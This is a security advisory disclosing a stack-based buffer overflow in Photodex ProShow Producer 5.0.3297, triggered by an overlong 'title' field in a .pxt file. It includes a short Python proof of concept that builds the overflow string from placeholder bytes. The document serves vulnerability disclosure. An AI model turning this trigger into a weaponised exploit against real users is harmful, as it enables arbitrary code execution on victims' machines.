Photodex ProShow Producer version 5.0.3297 suffers from a stack-based buffer overflow vulnerability. When opening a crafted transition file (.pxt) the application loads the "title" value from the pxt file. The application does not properly validate the length of the string loaded from the "title" value from the pxt file before using it in the further application context, which leads to a buffer overflow condition with possible code execution via overwritten SEH chains on Windows XP/7 32bit. Proof of concept code included.
ea2d7dca9a83d313a225c8b9a5f034f06ab679db12c229e96637363431e9c049
Inshell Security Advisory
http://www.inshell.net
1. ADVISORY INFORMATION
-----------------------
Product: Photodex ProShow Producer
Vendor URL: www.photodex.com
Type: Stack-based Buffer Overflow [CWE-121]
Date found: 2013-02-16
Date published: 2013-02-16
CVSSv2 Score: 6,8 (AV:N/AC:M/Au:N/C:P/I:P/A:P)
CVE: -
2. CREDITS
----------
This vulnerability was discovered and researched by Julien Ahrens from
Inshell Security.
3. VERSIONS AFFECTED
--------------------
Photodex ProShow Producer v5.0.3297, older versions may be affected too.
4. VULNERABILITY DESCRIPTION
----------------------------
A buffer overflow vulnerability has been identified in Photodex ProShow
Producer v5.0.3297.
When opening a crafted transition file (.pxt) the application loads the
"title" value from the pxt file.
The application does not properly validate the length of the string
loaded from the "title" value from the pxt file before using it in the
further application context, which leads to a buffer overflow condition
with possible code execution via overwritten SEH chains on Windows XP/7
32bit.
An attacker needs to force the victim to open a crafted .pxt file in
order to exploit the vulnerability. Successful exploits can allow
attackers to execute arbitrary code with the privileges of the user
running the application. Failed exploits will result in
denial-of-service conditions.
5. PROOF-OF-CONCEPT (Code / Exploit)
------------------------------------
The following generated string has to be inserted into a .pxt file to
trigger the vulnerability.
#!/usr/bin/python
file="poc.txt"
junk1="\x41" * 24
eip="\x42" * 4
junk2="\xCC" * 50000
poc=junk1 + eip + junk2
try:
print ("[*] Creating exploit file...\n");
writeFile = open (file, "w")
writeFile.write( poc )
writeFile.close()
print ("[*] File successfully created!");
except:
print ("[!] Error while creating file!");
For further Screenshots and/or PoCs visit:
http://security.inshell.net/advisory/47
6. SOLUTION
-----------
None
7. REPORT TIMELINE
------------------
2013-02-16: Discovery of the vulnerability
2013-02-16: Full Disclosure because the vendor ignored previous
reports.
8. REFERENCES
-------------
http://security.inshell.net/advisory/47